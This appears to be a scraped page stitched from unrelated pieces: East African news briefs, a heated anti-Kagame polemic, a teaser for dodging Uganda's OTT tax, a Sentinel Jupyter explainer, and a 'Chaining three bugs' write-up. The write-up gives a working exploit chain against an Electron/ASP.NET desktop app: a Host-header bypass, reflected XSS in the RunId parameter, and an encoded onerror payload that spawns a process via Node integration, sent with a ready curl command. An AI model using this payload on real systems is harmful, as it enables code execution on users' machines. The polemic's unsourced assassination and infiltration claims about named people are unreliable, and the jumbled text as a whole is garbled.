Alshabab appointed new governor for Mogadishu

Al-Shabaab has appointed a new (Waalli) governor for Mogadishu this week, sources say. The new governor, Dahir Moallim Salaad, is a long-time operative of AS Amniyat’s surveillance operations. The post was vacant for sometime as US drones killed predecessors, per sources.

Every country is getting aware of DMI

South African police is highly aware of the activities of these DMI agents and it is aware of they infiltration in Churches, small businesses and universities.They have been hiding in these shady businesses like churches and travel agencies to blackmail Burundi and uganda. Many have enrolled in southafrican universities to mainly spy on students and some promoting hatred messages against uganda and burundi.These fools think that south Africa is not aware or too docile about their activities!

.....Am not RPF Gakwerere.....haaahaaaaaaa ubwo ko wabona nawe mumpaye izina ryeeeee........

Today 4th of July, was a day the RPF/RPA acquired – took power in Rwanda. This year, the day has come at a time when the Country is at cross road, the Rwandan society broken, economic hardship hitting households at unprecedented levels, massive unemployment, dilapidated health services, failing infrastructure system, the education system which doesn’t fit any purpose, a society ravaged with hunger and hate. State sponsored crimes on the increase; kidnapping, incarceration, torture and assassination being state policies.

This year’s 4th of July finds the criminal ruler politically isolated, his foreign protectors like the Clintons and Tony Blair are no longer influential in the world political scene as before; the international ball game has changed. His Public Relations friends at state department in USA where all pushed out by the Trump administration. This is a man who has survived through paying enormously to foreign public relation firms for his imaging, turning his domestic image of a brutal dictator to an international image of a statesman – double imaging model as known in P.R.

This day will remain significant for those Rwandans who grew up or born outside the country, finally they had an identity, what they would call home. “With any single lie, trust ends.” These few words from a great friend came into my mind when contemplating about this day, how the Rwandan society is broken. The social upheaval which started on the echelon of power – village Urugwiro has affected in one-way or another everyone; a society that is consumed with lies, deceit, intrigue, selfishness, betrayal, jealous and hate.

All norms which bind the ancestral behaviours dusted to the bins in favour of a cultural darkness which is envisaged by ONE MAN. To this great friend, a lie is a lie, it doesn’t matter how small or big it is; there shouldn’t be an excuse for any single lie. To this friend, the current Rwandan way of deceptive conversation is unholy.

What Kagame has totally managed is to kill the concept of truth and trust; people are living in fear of each other. A simple question is replied with another question rather than answer or replied with a multitude of vague answers. Normal open conversation has totally been destroyed; conversation has been turned into a game of chess. The dude has succeeded in turning everyone to envisage each other with suspicion. This underhand method created through means of close surveillance monitoring has totally destroyed the fabric of the Rwandan society.

It was through a friend that Col Karegeya was assassinated, it was through a family member that Abdoul Joshua Ruzibiza was assassinated, it was through a partner that professor Akexandre Kimenyi was assassinated, it was through a comrade that Col Charles Ngoga was assassinated, it was through a trusted military medical doctor that Col Vedaste Kayitari was assassinated, it was through a trusted medical doctor that William Bagire was assassinated, it was through a medical doctor that Steven Ndugute was assassinated….the list is endless, the RPF/ RPA founding fathers being the first elements to be deleted – a subject for another day.

When pondering on a friend’s words “With any single lie, trust ends.” I came across an article which depicted horrors of extravagance, resource wastages, selfishness and Arabic profligacy by the RPF at the expense of suffering Rwandan Citizens. This past weekend, around 300 RPF committee members in Europe met in Den Haag, Holland for a three day retreat.

All Rwanda’s diplomatic core in Europe where present with the exception of the ambassador of Rwanda in Belgium, the rest where present. There was a delegation from the RPF central bureau in Rwanda who had come to galvanise these lost souls about the beauty of criminal Paul Kagame’s 3rd term presidency. I will be touching on the quality of these delegates from Rwanda, Goshhh, they totally reflect the RPF and how deep the organisation is sinking.

Don’t be mistaken, the expenses weren’t catered by the RPF coffers but the state. While the economy is under massive contraction with civils servants going for months without pay, on the heel of last month Kagame day extravagance in Belgium; they have again decided to throw another bash in Holland for RPF goons courtesy of the suffering people of Rwanda. All expenses from transportation, lodging, catering……etc paid by the overstretched state coffer.

For those who have visited or lived in Den Haag will know how the city is relatively expensive, next to Amsterdam range. Being an administrative city of Holland combine with large student population, this makes the city relatively expensive. And this is a place where criminal Paul Kagame decided to hold resource squandering bash for his goons in Europe.

These SICKOS have forgotten RPA/RDF casualties of war who are living in horrible destitution, but they can afford to waste resources in profane functions which have no single positive effect to Rwandans or to those who put their lives in danger during the liberation struggle. These thugs have no single shame in themselves!!!

When you look at the quality which came from Rwanda to conduct these three days retreat, you remain wondering where the RPF is heading. RPF had great, brilliant and intelligent cadres; over the time they were side-lined, others fled the country and the cream/best of these cadres sent to their graves by the brutal regime. To survive under the hijacked RPF, you have to be brainless with no single mind to reason or to air your views. You have to exhibit your brain in solitary confinement.

The RPF delegation from Rwanda was led by Tom Ndahiro, no one needs introduction to this political fabricator. Another RPF delegate member was Bayingana Aimable, Oh My God!! Another member of the delegation was Solange Mubarakh wife to Gen. Mubarakh; formerly an RPF social media poster girl under her informal names of Bebe Kamuzinzi Mubarakh. Of recently, she has disappeared from the social media only to quietly reappear under her formal names of Solange Mubarakh, this time with less noise. How would anyone in a sober mind waste his/her time listening to these inept characters?

Did this team have new ideals for the participants? Obviously NO. Did this team have ideological ideas for participants? I don’t think so!! Did this team have new policies that they wanted to share with participants? Not at all, unless the killing policy for those who questions the Junta regime. Did this team have an academic underpinning or experience that allows them to head such political retreats? Absolutely No.

When the founding fathers of RPF Inkotayi met in December 1987, Muyenga – Kampala, it was during the 7th congress of RANU that they decided to rebrand the organisation by renaming it, Rwandan Patriotic Front Inkotanyi. During this extraordinary meeting, criminal Paul Kagame who was then a Captain in NRA didn’t attend nor is he one of the founding fathers of RPF. On this day, 4th of July, the RPF founding fathers must be shaking in their graves, for those who are still alive their heart felt feeling of sorrow and mourning is indescribable.

My heart goes to the big commander who is now living in Kampala as a preacher in Jehovah witness, my gratitude goes to sauti ya Simba who is preaching the word of Jesus around Kigali and big salute to all casualties of wars; including those who are losing their limbs on a daily basis due to criminal Paul Kagame’s senseless wars.

BREAKING: Somalia cuts diplomatic ties with the West African country of Guinea, accusing it of violating sovereignty and unity of Somalia. Guinea gave a red carpet welcome this week to the president of Somaliland Muse Bihi Abdi who is visiting Conakry.

70 year old killed

The Police in Kisoro District have launched investigations into the mysterious murder of a 70 year old woman who was strangled to death by unknown assailants.

Kigezi Regional Police Spokesman Elly Maate told journalist that the late Nyirabusaga Vastine a resident of Gahuru village in Rutare parish in Chahi Sub County was killed by thugs who strangled her.

Her eleven year old granddaughter Nyiramahirwe Catherine, who lived with the old woman in the house, was tied with a piece of a cloth on the face so that the killers are not identified.

“The young girl saw two people she could not identify enter their house and mercilessly strangled her grandmother to death before rushing out of the house” Maate said.

The killers did not take anything from the deceased house and their motives are still unknown.

The Police visited the scene and picked the body which they took to Kisoro Hospital for a postmortem report and registered a case of murder under reference number SD 04/03/07/2019 to help in Investigation

Trio convicted of the Garissa university terror attack will be sentenced on 03/07/2019

Three suspects were on Wednesday convicted over the 2015 Garissa University terror attack.

Nairobi Chief Magistrate Francis Andayi found Mohamed Ali Abdikar, Hassan Aden Hassan and Rashid Charles Mberesero, a Tanzanian, were involved in an attack that left 148 people dead.

Mr Andayi, however, freed Sahal Diry Hussein, saying he cannot be linked to the attack just because he was found in the company of one of the attackers.

Prosecutors had proven “beyond a reasonable doubt” that “they knew the plot,” he said but did not give further details of the alleged conspiracy.

The Nairobi court will sentence the trio on July 3.

The three convictions are the first to result from a long-running investigation and prosecution.

All four gunmen were killed by security forces. The operation’s suspected ringleader, Mohamed Mohamud, also named “Kuno,” a former professor at a Koranic school in Garissa, was killed in southwestern Somalia in 2016.

The Shabaab said he had been killed by “US crusaders”.

The group is fighting to overthrow the internationally backed government in Mogadishu.

But it also regularly carries out attacks in neighbouring Kenya, which has troops in Somalia as part of an African Union force.

You do not need VPN, OTT.... just it needs a simple trick to access social media with any tax or vpn

I have alot of tricks  on this internet connections here in eastafrica, but today, I think I must now  expose my simple trick to UCC, MTN, AIRTEL, AFRICELL.... etc, these have always  thought that the OTT has barred many from freely accessing  social media.
From the infancy of this tax I discovered  a simple way of using Instagram, twitter, facebook, palmchat, badoo, without  incurring  such cost called OTT. This trick is usable on nearly all browsers  including Firefox, opera, uc browser and all browsers that come already installed on Chinese made  phones... Even old model Nokia phones allow such trick!!!  It works on all phones


www.ucc.co.ug , mtn.co.ug , airtel.co.ug , www.africell.ug

DRC is slowly being eaten up by the serpent of Rwanda!!! North kivu is under siege

On 31st May 2018, two RDF special force batallions led by Col Pascal Muhizi, known within the RDF as Mwarimu due to being a military instructor for a long time entered North Kivu, DR Congo. Col Pascal Muhizi is under the 3rd division commanding RDF troops in administrative sectors of Rubavu, Rutsiro and Nyabihu.

Col Pascal Muhizi of RDF

On the night of 31st May 2019, Col Pascal Muhizi supported by Col Baudouin Ngaruye led two RDF battalions inside North Kivu, DR Congo. Col Baudouin Ngaruye is a former RPA, FARDC, CNDP and M23 officer who was indicted by ICC and has been living in Rwanda under Criminal Paul Kagame’s protection.

Since the end of last year, Gen James Kabarebe recalled Col Baudouin Ngaruye and deployed him within DR Congo desk. Col Baudouin Ngaruye is currently the chief military coordinator of RDF in North Kivu, DR Congo.

Col Baudouin Ngaruye

During the 31st May 2019 military adventure, the target of RDF special forces was to hunt and wipe out an armed group that was based between Masisi – Rutshuru plateau.

Two weeks, prior to this military incursion, DMI had received information that there is a new Rwandan rebel group around Masisi –

Rutshuru plateau. Without proper planning or clear intelligence information, the enclave’s dictator – criminal Paul Kagame ordered RDF special forces to enter DR Congo for a sweep up operation against this supposedly new rebel group.

On the evening of 1st June 2019, this RDF special forces led by Col Pascal Muhizi alias Mwalimu met fire that they had never seen in their life time, their withdraw behaviours was that of survival for the fittest. To gullibles, please visit Kanombe hospital for evidences.

Criminal Paul Kagame was given the report of what his Special force amateurs commanded by Col Pascal Muhizi alias Mwalimu and Col Baudouin Ngaruye met. The paranoid ruler of the enclave instructed Maj Gen Alex Kagame, the head of the 3rd Division to plan for another military incursion to track and hunt this group.

According to criminal Paul Kagame and his assassin military brain/advisor, Gen James Kabarebe; RDF has to establish secure rear military grounds and bases in DR Congo for their Burundi and Uganda projects of regime change.

In the south Kivu, the six well armed RDF battalions are fighting against Banyamulenge in Uvira – Fizi highlands with an aim to establish anti Peter Nkirunziza rebel bases in the area. The proximity of these territories to Burundi especially its capital – Bujumbura, it is a military master piece in case RDF controls the area.

In north Kivu, Rwanda Special forces has been operating alongside remaining ADF elements along Beni’s impenetrable forests which covers up to the border area with Uganda. Of recently, RDF is expanding its operations in Beni – Bunia axis, South Kivu region and Ituri region, respectively. With rear bases in Beni – Ituri corridor, western Uganda would be in RDF’s operational target.

From the 13th June 2019, columns of RDF has been entering DR Congo through Njerima – Kanyanje hills towards Karisimbi forest and they are now based at Rumangabo military base in DR Congo. Since their arrival at Rumangabo military base in DR Congo, these RDF personnel  were given DR Congo military uniforms in order to stop suspicions to be raised by local DR Congo communities.

On their arrival, these columns of RDF were received by Gen James Kabarebe’s agent within FARDC, a notorious double agent, Brig Gen Innocent Gahizi, the current 2nd in Command of 32 military region in DR Congo. Maj.Gen Edmond Ilunga who is the overall commander of 32 military region, is also under criminal Paul Kagame’s payroll.

Currently, the Kinshasa administration under the accidental president – Felix TSHISEKEDI, is an extension of Village Urugwiro.

Chaining three bugs

C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141>
 Electron Socket IO Port: 8000
Electron Socket started on port 8000 at 127.0.0.1
ASP.NET Core Port: 8001
stdout: Use Electron Port: 8000

stdout: Hosting environment: Production
Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\
Now listening on: http://0.0.0.0:8001
Application started. Press Ctrl+C to shut down.
..............listening  to everything on port 8001...

....enjoy this now......
function startAspCoreBackend(electronPort) {

// hostname needs to be localhost, otherwise Windows Firewall will be triggered.
portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) {
    console.log('ASP.NET Core Port: ' + electronWebPort);
    loadURL = `http://localhost:${electronWebPort}`;
    const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`];
    let binaryFile = manifestJsonFile.executable;

    const os = require('os');
    if (os.platform() === 'win32') {
        binaryFile = binaryFile + '.exe';
    }

    let binFilePath = path.join(currentBinPath, binaryFile);
    var options = { cwd: currentBinPath };
    // Run the binary with params and options.
    apiProcess = process(binFilePath, parameters, options);

    apiProcess.stdout.on('data', (data) => {
        console.log(`stdout: ${data.toString()}`);
    });
});
}


...now is Burp time......
HTTP/1.1 400 Bad Request
Connection: close
Date: Wed, 19 June 2019 14:14:36 GMT
Content-Type: text/html
Server: Kestrel
Content-Length: 334

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD >
<BODY><h2>Bad Request - Invalid Hostname</h2>
<hr><p>HTTP Error 400. The request hostname is invalid.</p>
</BODY></HTML>
....now you can attempt logging  in....

{
  "Logging": {
    "LogLevel": {
      "Default": "Warning"
    }
  },
  "AllowedHosts": "localhost",
  "ApplicationInsights": {
    "InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef"
  }
}
........trying to submit  previous  runs.....
http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>&
File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true
..............The application then calls ......
{
    "RunId": "<script>alert(1)</script>",
    "Runs": {
        "CertificateCollector": 3
    }
}
.......Web collecting.....
//GetCollectors
function GetCollectors() {
    $.getJSON('GetCollectors', function (result) {
        var data = JSON.parse(result);
        var rundata = data.Runs;
        var keepChecking = false;
        var anyCollectors = false;
        var icon, midword;
        $('#ScanStatus').empty();

        if (Object.keys(rundata).length > 0) {
            // INJECTION
            $('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" }));
        }

        // Removed
    });
}
//There's no input validation or output encoding for data.RunId.

//web preferances
/// <summary>
/// Whether node integration is enabled. Default is true.
/// </summary>
[DefaultValue(true)]
public bool NodeIntegration { get; set; } = true;
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false,
    detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},
    {type:'ignore'}]});
......converted now....

<img id="5" src=x onerror=eval(String.fromCharCode(118,97,114,32,80,114,111,99,
101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,
40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,
115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,
102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,
101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,
32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,
121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,
101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,
115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,
44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,
111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,
102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,
101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,
123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,
111,114,101,39,125,93,125,41,59))>
// via this curl command:

curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection?
Id=<img%20id=%225%22%20src=x%20onerror=eval(String.fromCharCode(118,97,114,32,80,
114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,
110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,
101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,
117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,
118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,
110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,
105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,
39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,
119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103,
115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,
101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,
101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,
105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,
114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,
41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true"

Why Use Jupyter for Security Investigations?

‎

What is Jupyter?

Jupyter is an interactive development and data manipulation environment hosted in a browser. It takes code that you type into a cell, executes it and returns the output to you. Here is an example:

For more introductory information and sample notebooks go to jupyter.org. and thejupyter introductory documentation

Why Jupyter?

"Why would I use Jupyter notebooks to work with Azure Sentinel data rather than the built-in query and investigation tools?" might be your first question. And the first answer is that, usually, you wouldn't. In most cases, the scenario and data that you are investigating can be handled perfectly well in with the coming graphical investigation tool, with Log Analytics queries and cool case features like Bookmarks.

The second point to make is that it is not an either/or question .You should think about Jupyter notebooks as something to use to supplement the built-in and growing capabilities of the Azure Sentinel portal. 

One reason that you might want to reach for Jupyter is when the complexity of what you are looking for becomes too high. "How complex is too complex?" is a difficult question to answer but some guidelines might be:

• when the number of queries in your investigation chain goes beyond around 7 (the number of things that the average person can juggle in short-term memory).
• when you start to need extra-strength reading glasses to see all the detail of the investigation graph.
• when you discover that your browser has just crashed and you hadn't saved any of the queries or results that you were working on.

Some of the other benefits of working in Jupyter are outlined in the following sections.

Data Persistence, Repeatability and Backtracking

One of the painful things when working on a more complex security investigation is keeping track of what you have done. You might easily find yourself with tens of queries and results sets - many of which turned out to be dead ends. Which ones do you keep? How easy is it to backtrack and re-run the queries with different values or date ranges? How do you accumulate the useful results in a single report? What if you want to re-run the same pattern on a future investigation?

With most data-querying environments the answer is a lot of manual work and heavy reliance on good short-term memory. Jupyter, on the other hand, gives you a linear progression through the investigation - saving queries and data as you go. With the use of variables through the progression of the queries (e.g. for time ranges, account names, IP addresses, etc.) it also makes it much easier to backtrack and re-run and to reuse the entire workflow in future investigations.

Scripting and Programming environment

In Jupyter you are not limited to querying and viewing results but have the full power of a programming language. Although you can do a lot in a flexible declarative language like Kql (or others like SQL), being able to split your logic into procedural chunks is often helpful and sometimes essential. Adeclarative language means that you need to encode your logic in a single (possibly complex) statement, while procedurallanguages allow you to execute logic in a series of steps.

Being able to use procedural code lets you:

• See and debug intermediate results.
• Add functionality (such as decoding fields, parsing data) that may not be available in the query language.
• Re-use partial results in later processing steps.

Joining to External Data

Most of your telemetry/event data will be in Azure Sentinel workspace tables but there will often be exceptions:

• data in an external service that you do not own - e.g. IP whois and geolocation data, threat intelligence source,
• sensitive data that may only be stored within your organization - HR Database, lists of execs, admins or high-value assets,
• or simply data that you have not yet migrated to the cloud.

Any data that is accessible over your network or from a file can be linked with Azure Sentinel data via Python and Jupyter.

Access to Sophisticated Data Processing, Machine Learing and Visualization

Azure Sentinel and the Kusto/Log Analytics data store underlying it have a lot of options for visualization and advanced data processing (even clustering, windowed statistical and machine learning functions) and more capabilities are being added all the time. However, there may be times when you need something different: specialized visualizations, machine learning libraries or even just data processing and transformation facilities not available in the Azure Sentinel platform. You can see examples of these in some of the Azure Sentinel sample notebooks (see References at the end of the document).

Some well-known examples of these in the Python language are:

• pandas for data processing, cleanup and engineering
• matplotlib, holoviews, plotly and many others for visualization
• numpy and scipy for advanced numerical and scientific processing
• scikit-learn for machine learning
• tensorflow, pytorch, keras for deep learning

Why Python?

Jupyter can be used with many different languages - what makes Python a good choice?

Popularity

It is very likely that you already have Python coders in your organization. It is now the most widely taught language in Computer Science courses and used widely in many scientific fields. It is also frequently used by IT Pros -- where it has largely replaced perl as the go-to language for scripting and systems management -- and by web developers (many popular services such as DropBox and Instagram are almost entirely written in Python).

Ecosystem

Driven by this popularity, there is a vast repository of python libraries available onPyPi and nearly 1 million python repos onGithub. For many of the tools that you need as a security investigator - data manipulation, data analysis, visualization, machine learning and statistical analysis - no other language ecosystem has comparable tools.

One remarkable point here is that pretty much every major python package and the core language itself are open source and written and maintained by volunteers.

Alternatives to Python

You can use other language kernels with Juypter, and you can mix and match languages (to a degree) within the same notebook using 'magics' that allow execution of individual cells using another language. For example, you could retrieve data using a PowerShell script cell, process the data in python and use JavaScript to render a visualization. In practice, this can be a little trickier than it sounds but certainly possible with a bit of hand-wiring.

References

• jupyter.org
• python
• PyPi
• Github
• Kusto Query Language
• pandas
• matplotlib
• holoviews
• plotly
• numpy
• scipy
• scikit-learn
• tensorflow
• pytorch
• keras